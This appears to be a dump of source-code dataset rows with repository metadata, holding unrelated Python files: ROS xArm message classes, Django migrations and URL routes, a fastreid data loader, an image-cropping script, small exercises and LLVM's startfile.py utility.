def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
port_num
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
super(GetAnalogIORequest, self).__init__(*args, **kwds)
#message fields cannot be None, assign default values for those that are
if self.port_num is None:
self.port_num = 0
else:
self.port_num = 0
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
buff.write(_get_struct_h().pack(self.port_num))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
try:
end = 0
start = end
end += 2
(self.port_num,) = _get_struct_h().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) #most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
buff.write(_get_struct_h().pack(self.port_num))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
try:
end = 0
start = end
end += 2
(self.port_num,) = _get_struct_h().unpack(str[start:end])
return self
except struct.error as e:
raise genpy.DeserializationError(e) #most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
_struct_h = None
def _get_struct_h():
global _struct_h
if _struct_h is None:
_struct_h = struct.Struct("<h")
return _struct_h
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from xarm_msgs/GetAnalogIOResponse.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class GetAnalogIOResponse(genpy.Message):
_md5sum = "14b69cf7f6c4030ec842bfd1c9d215d0"
_type = "xarm_msgs/GetAnalogIOResponse"
_has_header = False #flag to mark the presence of a Header object
_full_text = """
float32 analog_value
int16 ret
string message
"""
__slots__ = ['analog_value','ret','message']
_slot_types = ['float32','int16','string']
def __init__(self, *args, **kwds):
"""
Constructor. Any message fields that are implicitly/explicitly
set to None will be assigned a default value. The recommend
use is keyword arguments as this is more robust to future message
changes. You cannot mix in-order arguments and keyword arguments.
The available fields are:
analog_value,ret,message
:param args: complete set of field values, in .msg order
:param kwds: use keyword arguments corresponding to message field names
to set specific fields.
"""
if args or kwds:
super(GetAnalogIOResponse, self).__init__(*args, **kwds)
#message fields cannot be None, assign default values for those that are
if self.analog_value is None:
self.analog_value = 0.
if self.ret is None:
self.ret = 0
if self.message is None:
self.message = ''
else:
self.analog_value = 0.
self.ret = 0
self.message = ''
def _get_types(self):
"""
internal API method
"""
return self._slot_types
def serialize(self, buff):
"""
serialize message into buffer
:param buff: buffer, ``StringIO``
"""
try:
_x = self
buff.write(_get_struct_fh().pack(_x.analog_value, _x.ret))
_x = self.message
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.pack('<I%ss'%length, length, _x))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize(self, str):
"""
unpack serialized message in str into this message instance
:param str: byte array of serialized message, ``str``
"""
try:
end = 0
_x = self
start = end
end += 6
(_x.analog_value, _x.ret,) = _get_struct_fh().unpack(str[start:end])
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
self.message = str[start:end].decode('utf-8')
else:
self.message = str[start:end]
return self
except struct.error as e:
raise genpy.DeserializationError(e) #most likely buffer underfill
def serialize_numpy(self, buff, numpy):
"""
serialize message with numpy array types into buffer
:param buff: buffer, ``StringIO``
:param numpy: numpy python module
"""
try:
_x = self
buff.write(_get_struct_fh().pack(_x.analog_value, _x.ret))
_x = self.message
length = len(_x)
if python3 or type(_x) == unicode:
_x = _x.encode('utf-8')
length = len(_x)
buff.write(struct.pack('<I%ss'%length, length, _x))
except struct.error as se: self._check_types(struct.error("%s: '%s' when writing '%s'" % (type(se), str(se), str(locals().get('_x', self)))))
except TypeError as te: self._check_types(ValueError("%s: '%s' when writing '%s'" % (type(te), str(te), str(locals().get('_x', self)))))
def deserialize_numpy(self, str, numpy):
"""
unpack serialized message in str into this message instance using numpy for array types
:param str: byte array of serialized message, ``str``
:param numpy: numpy python module
"""
try:
end = 0
_x = self
start = end
end += 6
(_x.analog_value, _x.ret,) = _get_struct_fh().unpack(str[start:end])
start = end
end += 4
(length,) = _struct_I.unpack(str[start:end])
start = end
end += length
if python3:
self.message = str[start:end].decode('utf-8')
else:
self.message = str[start:end]
return self
except struct.error as e:
raise genpy.DeserializationError(e) #most likely buffer underfill
_struct_I = genpy.struct_I
def _get_struct_I():
global _struct_I
return _struct_I
_struct_fh = None
def _get_struct_fh():
global _struct_fh
if _struct_fh is None:
_struct_fh = struct.Struct("<fh")
return _struct_fh
class GetAnalogIO(object):
_type = 'xarm_msgs/GetAnalogIO'
_md5sum = 'be8d9a2c0ed50c727cbf098654568f97'
_request_class = GetAnalogIORequest
_response_class = GetAnalogIOResponse
| [
"makihara@ms.esys.tsukuba.ac.jp"
] | makihara@ms.esys.tsukuba.ac.jp |
d5676fa17de1d686869f532cf7410e0555426ced | a75e7f434271f1ce4bc9e89f6cc10126aa1947e7 | /test/__main__.py | b6661dcb01917492dc29fa3c377d63eb7fd7c385 | [] | no_license | smutel/pylib | 53f0918ef897d5df5e2ecb7a6b0179bdd3647843 | 463873a0f9ff2052f740be632dde746be6e3b19b | refs/heads/master | 2020-06-15T16:26:16.476496 | 2016-11-25T14:15:44 | 2016-11-25T14:15:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,637 | py | #!/usr/bin/env python
# vim:ts=4:sts=4:sw=4:et
#
# Author: Hari Sekhon
# Date: 2015-11-14 12:21:54 +0000 (Sat, 14 Nov 2015)
#
# https://github.com/harisekhon/pylib
#
# License: see accompanying Hari Sekhon LICENSE file
#
# If you're using my code you're welcome to connect with me on LinkedIn and optionally send me feedback to help improve or steer this or other code I publish
#
# http://www.linkedin.com/in/harisekhon
#
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__author__ = 'Hari Sekhon'
__version__ = '0.1'
import glob
import inspect
import os
import subprocess
import sys
## using optparse rather than argparse for servers still on Python 2.6
#from optparse import OptionParser
# libdir = os.path.join(os.path.dirname(inspect.getfile(inspect.currentframe())), '..')
libdir = os.path.join(os.path.dirname(__file__), '..')
# sys.path.append(libdir)
# try:
# from harisekhon.utils import *
# except ImportError, e:
# print('module import failed: %s' % e)
# sys.exit(4)
def main():
print('running unit tests')
# this doesn't allow coverage to follow the code and see what's been covered
# for x in glob.glob(libdir + "/test/test_*.py"):
# if subprocess.call(['python', x]):
# sys.exit(2)
# subprocess.check_call(['python', x])
from test.test_utils import main
main()
from test.test_cli import main
main()
from test.test_nagiosplugin import main
main()
from test.test_threshold import main
main()
if __name__ == '__main__':
main()
| [
"harisekhon@gmail.com"
] | harisekhon@gmail.com |
f7a23f0389fe8115da3ae140207cef638d3ed979 | cb3634622480f918540ff3ff38c96990a1926fda | /PyProject/leetcode/history/symmetric-tree—2.py | 6a7f516c3065f6a3a5169f67922957b4efac8b15 | [] | no_license | jacksonyoudi/AlgorithmCode | cab2e13cd148354dd50a0487667d38c25bb1fd9b | 216299d43ee3d179c11d8ca0783ae16e2f6d7c88 | refs/heads/master | 2023-04-28T07:38:07.423138 | 2022-10-23T12:45:01 | 2022-10-23T12:45:01 | 248,993,623 | 3 | 0 | null | 2023-04-21T20:44:40 | 2020-03-21T14:32:15 | Go | UTF-8 | Python | false | false | 725 | py | # Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def isSymmetric(self, root):
if root is None:
return True
else:
return self.isMirror(root.left, root.right)
def isMirror(self, left, right):
if left is None and right is None:
return True
if left is None or right is None:
return False
if left.val == right.val:
outPair = self.isMirror(left.left, right.right)
inPiar = self.isMirror(left.right, right.left)
return outPair and inPiar
else:
return False
| [
"liangchangyoujackson@gmail.com"
] | liangchangyoujackson@gmail.com |
ca233501fb5c9fda5f913bf4b8585651b383ef8a | 5ad3cdae21d6a594d2e499406bd3159c9e635ce8 | /yatube/posts/migrations/0005_auto_20210607_1847.py | e5b204084a85b0f5de89704ec3e5acc475a3829e | [] | no_license | Priest-4612/hw05_final | 18e24058a29de7b4533f8a1098210998277ace5b | 2ab6809b36a7c2f42c14a33deedca7cf8ce1cdf5 | refs/heads/master | 2023-06-15T00:50:48.783136 | 2021-07-12T18:39:31 | 2021-07-12T18:39:31 | 382,963,596 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 346 | py | # Generated by Django 2.2.9 on 2021-06-07 15:47
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('posts', '0004_auto_20210530_0018'),
]
operations = [
migrations.AlterModelOptions(
name='post',
options={'ordering': ['-pub_date']},
),
]
| [
"prie4612@gmail.com"
] | prie4612@gmail.com |
916bdd6be2ab0c6f52deaa6390bed30b79c41458 | e2069d49028ca0e7640cb9bb65ae2ec93081790d | /classification_convert_crop.py | 27dba3be54b1844a07859604702244c381393b73 | [] | no_license | breadcrumbbuilds/classification-image-functions | 803879e331a4538ce4d3e3dc22045eb1b00b995a | 3a5c7082ca431c10a9ec636cca0e442680dc7a6d | refs/heads/master | 2020-07-07T03:17:55.613761 | 2019-08-28T18:27:25 | 2019-08-28T18:27:25 | 203,228,125 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,133 | py | """
Created on Fri Aug 16 09:47:57 2019
@author: brad.crump
Script converts and crops data, in future, add the option to not crop data.
Assumes that the input image contains "RGB" and "png".
Still from a naive approach, but has potential to be further generalized.
Use case:
If data has a substantial black background, this script can lessen the black
background. It also writes out a test and train map file for the images.
Folder structure:
present working directory
|_THIS_SCRIPT
|
|_class1
| |_FolderOfData1
| |_FolderOfData2
|_class2
| |_FolderOfData1
| |_FolderOfData2
|_class3
Will convert data out to classes1_classes2_..._classesN-DayAndTime
ie: PonderosaPine_SprucePine_2019-8-15-1356
"""
import os
import cv2
import time
import argparse
def ConvertAndCrop(cropMargin, testPercent):
global CROP_MARGIN
global TEST_SAMPLES
CROP_MARGIN = cropMargin
TEST_SAMPLES = testPercent
### Generate the new folders where we will write the cropped image data
# get the path to the new folder for the data we will convert
convertedDataFolder = makeDirectoryForConvertedData()
print("Folder created: " + convertedDataFolder)
completeMap = open(convertedDataFolder + "\\CompleteMap.RGB.txt", 'w')
# create the subdirectories for each classes
makeClassDirectories(convertedDataFolder)
print("New Classes directories created")
print("Converting Has Started...")
convertData(getCurrentDirectory(), convertedDataFolder, completeMap)
completeMap.close()
splitTrainAndTestData(convertedDataFolder, completeMap)
print("Done")
# returns the working directories path
def getCurrentDirectory():
return os.path.dirname(os.path.realpath(__file__))
"""
Returns a list of png images with RGB in the name of the image
"""
def getPngs(directory):
images = []
# walk the folder
for root, dirs, files in os.walk(directory, topdown=False):
# for each file
for file in files:
# if the file contains the expected strings
if ".png" in file and "RGB" in file:
images.append(root + "\\" +file)
print("Images retrieved")
return images
"""
Create a list of all the Classes in this conversion
"""
def getClassList():
classes = []
# walk the current directory
for root, dirs, files in os.walk(getCurrentDirectory(), topdown=False):
# Don't store the current directory, only the subdirectories
if dirs == getCurrentDirectory() or dirs == []:
continue
# store the directory
classes.append(dirs)
# Currently doing more work than needed:
# os.walk inspects all the subdirectories as well, so we are just
# returning the last index, which is the pwd children
return classes[len(classes)-1]
"""
Creates a directory and returns the path
"""
def makeDirectoryForConvertedData():
# init empty folder name
folderName = ""
# get the Classes and append them to a string
for aClass in getClassList():
folderName = folderName + aClass + "_"
# get the current date and time and append it to the string
year, month, day, hour, minute = map(int, time.strftime("%Y %m %d %H %M").split())
now = str(year) + "-" + str(month) + "-" + str(day) + "-" + str(hour) + "" + '{:02d}'.format(minute)
folderName = folderName + now
# Hard code the location of the new folder in conversions
path = "C:\\Conversions\\" + folderName
# if the path doesn't exist, write it
if not os.path.exists(path):
os.makedirs(path)
return path
"""
Create a directory for each class in this conversion
"""
def makeClassDirectories(folder):
# loop through each class
for aClass in getClassList():
# create a new path for the class
newDir = folder + "\\" + aClass
# if the path doesn't exist, write it
if not os.path.exists(newDir):
os.makedirs(newDir)
"""
Converts data
"""
def convertData(currentDir, convertDir, mapFile):
classMap = 0
# Loop through each folder
for aClass in getClassList():
# create the paths to be used
currentPath = currentDir + "\\" + aClass
convertPath = convertDir + "\\" + aClass
# retrieve all the images to be converted
oldImages = getPngs(currentPath)
# crop and write the images
cropWriteMapImages(oldImages, convertPath, aClass, mapFile, classMap)
classMap = classMap + 1
"""
Crops and writes the image to the convertPath
"""
def cropWriteMapImages(oldImages, convertPath, aClass, mapFile, classMap):
# for each old image
print("Cropping and Writing " + aClass)
print("This may take some time.")
i = 0
for image in oldImages:
croppedImage = cropImage(image)
writeImageAndMap(croppedImage, convertPath, aClass, i, mapFile, classMap)
i = i + 1
print(aClass + " images have been written and cropped")
"""
Crops an image, defaults the margin to 5 pixels
"""
def cropImage(image):
image = cv2.imread(image)
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# find the contours of the image (boundary)
x, contours, hierarchy = cv2.findContours(gray,cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
# find the largest contour (outer boundary)
largestCntArea = 0
i = 0
for c in contours:
# Find the largest contour
if cv2.contourArea(c) > largestCntArea:
largestCntArea = cv2.contourArea(c)
largestCntIndex = i
i = i + 1
largestContour = contours[largestCntIndex]
# Bounding box for the largest contour
x, y, w, h = cv2.boundingRect(largestContour)
# add margin (and center)
h = h + CROP_MARGIN
w = w + CROP_MARGIN
x = x - int(CROP_MARGIN/2)
y = y - int(CROP_MARGIN/2)
# create crop img using the bounding box
return image[y:y+h, x:x+w]
"""
Writes a cropped image to the specified directory
"""
def writeImageAndMap(image, path, aClass, name, mapFile, classMap):
# build the image name
imageName = "\\" + aClass + "_" + str(name) + ".RGB.png"
pathToImage = path + imageName
cv2.imwrite(pathToImage, image)
writeCompleteMap(mapFile, aClass, imageName, classMap)
def writeCompleteMap(file, aClass, imageName, classMap):
file.write("...\\" + aClass + imageName + "\t" + str(classMap) + "\n")
def splitTrainAndTestData(folder, file):
print("Mapping Test and Train data")
test = open(folder + "\\ValidationMap.RGB.txt", 'w')
train = open(folder + "\\TrainMap.RGB.txt", 'w')
testIndex = int(100/TEST_SAMPLES)
i = 0
with open(str(file.name), 'r') as f:
for line in f:
if i % testIndex == 0:
test.write(line)
else:
train.write(line)
i = i + 1
print("Closing Files")
f.close()
test.close()
train.close() | [
"bradrcrump@gmail.com"
] | bradrcrump@gmail.com |
2fc6c3ca11a0533b9e305d1c97100d5ac134da5a | 7044043460c74a9c1c9d386bdeccb87289362f76 | /mysite/urls.py | 7794602ec06995938b9e62a0ce60bf93ca078cb7 | [] | no_license | KIMJONGIK/mysite | 6630682eca869b5122597baf2e2f59dd0b40869a | 84b908ea75602c7ca801eafb7dd975aadf70593b | refs/heads/master | 2022-12-09T14:33:38.741339 | 2020-09-16T11:48:53 | 2020-09-16T11:48:53 | 293,227,641 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,811 | py | """mysite URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
import main.views as mainviews
import guestbook.views as guestbookviews
import user.views as userviews
import board.views as boardviews
urlpatterns = [
path('main/', mainviews.index),
path('guestbook/', guestbookviews.index),
path('guestbook/add', guestbookviews.add),
path('guestbook/deleteform', guestbookviews.deleteform),
path('guestbook/delete', guestbookviews.delete),
path('user/joinform', userviews.joinform),
path('user/joinsuccess', userviews.joinsuccess),
path('user/join', userviews.join),
path('user/loginform', userviews.loginform),
path('user/login', userviews.login),
path('user/logout', userviews.logout),
path('user/updateform', userviews.updateform),
path('user/update', userviews.update),
path('board/', boardviews.index),
path('board/write', boardviews.write),
path('board/register', boardviews.register),
path('board/view', boardviews.view),
path('board/delete', boardviews.delete),
path('board/modifyform', boardviews.modifyform),
path('board/modify', boardviews.modify),
path('admin/', admin.site.urls),
] | [
"kji089@naver.com"
] | kji089@naver.com |
8fc33e667b9cd3bc3e640188e68f4aa66390f63a | 6bd4d4845ac3569fb22ce46e6bdd0a8e83dd38b7 | /fastreid/data/build.py | da5b4b0137cd82c4dc9cc869976c914e7c475f7a | [] | no_license | wodole/fast-reid | a227219acf2606124655d63fa88c0cf3e22f4099 | 9cf222e093b0d37c67d2d95829fdf74097b7fce1 | refs/heads/master | 2022-04-15T15:10:07.045423 | 2020-04-08T13:04:09 | 2020-04-08T13:04:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,159 | py | # encoding: utf-8
"""
@author: l1aoxingyu
@contact: sherlockliao01@gmail.com
"""
import logging
import torch
from torch._six import container_abcs, string_classes, int_classes
from torch.utils.data import DataLoader
from . import samplers
from .common import CommDataset, data_prefetcher
from .datasets import DATASET_REGISTRY
from .transforms import build_transforms
def build_reid_train_loader(cfg):
train_transforms = build_transforms(cfg, is_train=True)
logger = logging.getLogger(__name__)
train_items = list()
for d in cfg.DATASETS.NAMES:
logger.info('prepare training set {}'.format(d))
dataset = DATASET_REGISTRY.get(d)()
train_items.extend(dataset.train)
train_set = CommDataset(train_items, train_transforms, relabel=True)
num_workers = cfg.DATALOADER.NUM_WORKERS
batch_size = cfg.SOLVER.IMS_PER_BATCH
num_instance = cfg.DATALOADER.NUM_INSTANCE
if cfg.DATALOADER.PK_SAMPLER:
data_sampler = samplers.RandomIdentitySampler(train_set.img_items, batch_size, num_instance)
else:
data_sampler = samplers.TrainingSampler(len(train_set))
batch_sampler = torch.utils.data.sampler.BatchSampler(data_sampler, batch_size, True)
train_loader = torch.utils.data.DataLoader(
train_set,
num_workers=num_workers,
batch_sampler=batch_sampler,
collate_fn=fast_batch_collator,
)
return data_prefetcher(cfg, train_loader)
def build_reid_test_loader(cfg, dataset_name):
test_transforms = build_transforms(cfg, is_train=False)
logger = logging.getLogger(__name__)
logger.info('prepare test set {}'.format(dataset_name))
dataset = DATASET_REGISTRY.get(dataset_name)()
test_items = dataset.query + dataset.gallery
test_set = CommDataset(test_items, test_transforms, relabel=False)
num_workers = cfg.DATALOADER.NUM_WORKERS
batch_size = cfg.TEST.IMS_PER_BATCH
data_sampler = samplers.InferenceSampler(len(test_set))
batch_sampler = torch.utils.data.BatchSampler(data_sampler, batch_size, False)
test_loader = DataLoader(
test_set,
batch_sampler=batch_sampler,
num_workers=num_workers,
collate_fn=fast_batch_collator)
return data_prefetcher(cfg, test_loader), len(dataset.query)
def trivial_batch_collator(batch):
"""
A batch collator that does nothing.
"""
return batch
def fast_batch_collator(batched_inputs):
"""
A simple batch collator for most common reid tasks
"""
elem = batched_inputs[0]
if isinstance(elem, torch.Tensor):
out = torch.zeros((len(batched_inputs), *elem.size()), dtype=elem.dtype)
for i, tensor in enumerate(batched_inputs):
out[i] += tensor
return out
elif isinstance(elem, container_abcs.Mapping):
return {key: fast_batch_collator([d[key] for d in batched_inputs]) for key in elem}
elif isinstance(elem, float):
return torch.tensor(batched_inputs, dtype=torch.float64)
elif isinstance(elem, int_classes):
return torch.tensor(batched_inputs)
elif isinstance(elem, string_classes):
return batched_inputs
| [
"sherlockliao01@gmail.com"
] | sherlockliao01@gmail.com |
24f6ce5d1d7d247f113554d063d6fe5404344652 | fb75a89ca9f9c322edccb28a0d8ca2983c183b5a | /ram/krish/migrations/0002_auto_20190909_1207.py | e8e876ba255083a632b6f15ca0bb5ade59a11717 | [] | no_license | Nagateja453/rkmission_django | af205d931dae3159f948a63e3e293aee1dc4a709 | a882248d6316535fa742248ad97af66d8cc82b6c | refs/heads/master | 2020-08-02T07:43:50.307469 | 2019-09-27T08:56:47 | 2019-09-27T08:56:47 | 211,277,398 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,232 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.24 on 2019-09-09 12:07
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import tinymce.models
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('krish', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='AddPost',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Date_of_Birth', models.CharField(max_length=255)),
('Place_Of_Birth', models.CharField(max_length=255)),
('Parents', models.CharField(max_length=255)),
('Wife', models.CharField(max_length=255)),
('Religious_Views', models.CharField(max_length=255)),
('Philosopy', models.CharField(max_length=255)),
('Memorial', models.CharField(max_length=255)),
('Place_Of_Death', models.CharField(max_length=255)),
('slug', models.SlugField(blank=True, max_length=900, null=True)),
('title', models.CharField(max_length=255)),
('excerpt', models.TextField(blank=True, null=True)),
('meta_description', models.TextField(blank=True, null=True)),
('keywords', models.TextField(blank=True, null=True)),
('modified_on', models.DateTimeField(auto_now=True)),
('created_on', models.DateTimeField(auto_now=True)),
('content', tinymce.models.HTMLField(blank=True, null=True, verbose_name='Content')),
('project_image1', models.FileField(blank=True, null=True, upload_to='project_logo')),
('created_by', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.RemoveField(
model_name='director',
name='created_by',
),
migrations.DeleteModel(
name='director',
),
]
| [
"rahulkiranreddy13@gmail.com"
] | rahulkiranreddy13@gmail.com |
56da23f9a0d297df1b7ab5e52d14a535ed9dc9fe | 6113c356eb4fae7bfb04c4bd2b121f130ef41a14 | /content/migrations/0022_projects_direction.py | 2ea9195795802a911667d7d1035d9100af739cdf | [] | no_license | slonidet/avcsite | 4e8950296551e80003a5f76b934a043b8fd2f02e | 8034a75bbe8f2e2973761502413df76e918e1c2b | refs/heads/master | 2020-06-17T19:37:43.085881 | 2016-11-29T14:40:03 | 2016-11-29T14:40:03 | 74,976,059 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,298 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.6 on 2016-11-25 10:52
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('content', '0021_remove_projects_direction'),
]
operations = [
migrations.AddField(
model_name='projects',
name='direction',
field=models.CharField(choices=[('SOC', '\u0421\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435'), ('SOB', '\u0421\u043e\u0431\u044b\u0442\u0438\u0439\u043d\u043e\u0435'), ('MED', '\u041c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0435'), ('KUL', '\u041a\u0443\u043b\u044c\u0442\u0443\u0440\u043d\u043e-\u043f\u0440\u043e\u0441\u0432\u0435\u0442\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435'), ('KOR', '\u041a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435'), ('SER', '\u0421\u0435\u0440\u0435\u0431\u0440\u044f\u043d\u043e\u0435'), ('OBR', '\u0412 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0438'), ('OTH', '\u0414\u0440\u0443\u0433\u043e\u0435')], default='OTH', max_length=5, verbose_name='\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430'),
),
]
| [
"dmitrysulin@gmail.com"
] | dmitrysulin@gmail.com |
b0445f7811e97fb43d9cdb3bfdad9449cab3f128 | e6376e614dbf63df8381af0333c81af5b1434bec | /python/08makechange_ice.py | 4eb6d4d5d7991fa90edaafc0c55a5e17846629ad | [] | no_license | billhowland/PythonLabs | 215082b56e17c5454e6e40a64ef44a55ae7ba689 | b287cefd64ed5f30b6e9db65fc9cd895e2f7da6e | refs/heads/master | 2021-06-24T23:53:41.265111 | 2019-05-28T02:02:17 | 2019-05-28T02:02:17 | 168,642,589 | 2 | 0 | null | 2021-06-10T21:23:57 | 2019-02-01T04:34:20 | Python | UTF-8 | Python | false | false | 832 | py | # makechange_ice.py
print('This program calculates coins for making change')
run = 1
while(run):
while True:
total = input('Enter the amount > ').strip().strip('$')
try:
total = (float(total)) * 100
if total < 0:
raise ValueError
break
except ValueError:
print('Enter positive numbers only, dude.')
q = (total // 25)
print((str(round(q))) + (' Quarters'))
remaind = total - (q * 25)
d = (remaind // 10)
print((str(round(d))) + (' Dimes'))
remainn = remaind - (d * 10)
n = (remainn // 5)
print((str(round(n))) + (' Nickles'))
remainp = remainn - (n * 5)
p = (remainp // 1)
print((str(round(p))) + (' Pennies'))
ask = input('Quit? Y/N > ').strip().lower()
if ask == 'y':
run = 0
| [
"electronzero@comcast.net"
] | electronzero@comcast.net |
bda08bb1e8392fe0495c5b0f7bc2ba3dc882b580 | 8dc84558f0058d90dfc4955e905dab1b22d12c08 | /third_party/android_ndk/toolchains/llvm/prebuilt/linux-x86_64/tools/scan-view/share/startfile.py | 673935909f823467ad1dd737788133966d2a00e3 | [
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"NCSA",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-arm-llvm-sga",
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] | permissive | meniossin/src | 42a95cc6c4a9c71d43d62bc4311224ca1fd61e03 | 44f73f7e76119e5ab415d4593ac66485e65d700a | refs/heads/master | 2022-12-16T20:17:03.747113 | 2020-09-03T10:43:12 | 2020-09-03T10:43:12 | 263,710,168 | 1 | 0 | BSD-3-Clause | 2020-05-13T18:20:09 | 2020-05-13T18:20:08 | null | UTF-8 | Python | false | false | 6,038 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Utility for opening a file using the default application in a cross-platform
manner. Modified from http://code.activestate.com/recipes/511443/.
"""
__version__ = '1.1x'
__all__ = ['open']
import os
import sys
import webbrowser
import subprocess
_controllers = {}
_open = None
class BaseController(object):
'''Base class for open program controllers.'''
def __init__(self, name):
self.name = name
def open(self, filename):
raise NotImplementedError
class Controller(BaseController):
'''Controller for a generic open program.'''
def __init__(self, *args):
super(Controller, self).__init__(os.path.basename(args[0]))
self.args = list(args)
def _invoke(self, cmdline):
if sys.platform[:3] == 'win':
closefds = False
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
else:
closefds = True
startupinfo = None
if (os.environ.get('DISPLAY') or sys.platform[:3] == 'win' or
sys.platform == 'darwin'):
inout = file(os.devnull, 'r+')
else:
# for TTY programs, we need stdin/out
inout = None
# if possible, put the child precess in separate process group,
# so keyboard interrupts don't affect child precess as well as
# Python
setsid = getattr(os, 'setsid', None)
if not setsid:
setsid = getattr(os, 'setpgrp', None)
pipe = subprocess.Popen(cmdline, stdin=inout, stdout=inout,
stderr=inout, close_fds=closefds,
preexec_fn=setsid, startupinfo=startupinfo)
# It is assumed that this kind of tools (gnome-open, kfmclient,
# exo-open, xdg-open and open for OSX) immediately exit after lauching
# the specific application
returncode = pipe.wait()
if hasattr(self, 'fixreturncode'):
returncode = self.fixreturncode(returncode)
return not returncode
def open(self, filename):
if isinstance(filename, basestring):
cmdline = self.args + [filename]
else:
# assume it is a sequence
cmdline = self.args + filename
try:
return self._invoke(cmdline)
except OSError:
return False
# Platform support for Windows
if sys.platform[:3] == 'win':
class Start(BaseController):
'''Controller for the win32 start progam through os.startfile.'''
def open(self, filename):
try:
os.startfile(filename)
except WindowsError:
# [Error 22] No application is associated with the specified
# file for this operation: '<URL>'
return False
else:
return True
_controllers['windows-default'] = Start('start')
_open = _controllers['windows-default'].open
# Platform support for MacOS
elif sys.platform == 'darwin':
_controllers['open']= Controller('open')
_open = _controllers['open'].open
# Platform support for Unix
else:
import commands
# @WARNING: use the private API of the webbrowser module
from webbrowser import _iscommand
class KfmClient(Controller):
'''Controller for the KDE kfmclient program.'''
def __init__(self, kfmclient='kfmclient'):
super(KfmClient, self).__init__(kfmclient, 'exec')
self.kde_version = self.detect_kde_version()
def detect_kde_version(self):
kde_version = None
try:
info = commands.getoutput('kde-config --version')
for line in info.splitlines():
if line.startswith('KDE'):
kde_version = line.split(':')[-1].strip()
break
except (OSError, RuntimeError):
pass
return kde_version
def fixreturncode(self, returncode):
if returncode is not None and self.kde_version > '3.5.4':
return returncode
else:
return os.EX_OK
def detect_desktop_environment():
'''Checks for known desktop environments
Return the desktop environments name, lowercase (kde, gnome, xfce)
or "generic"
'''
desktop_environment = 'generic'
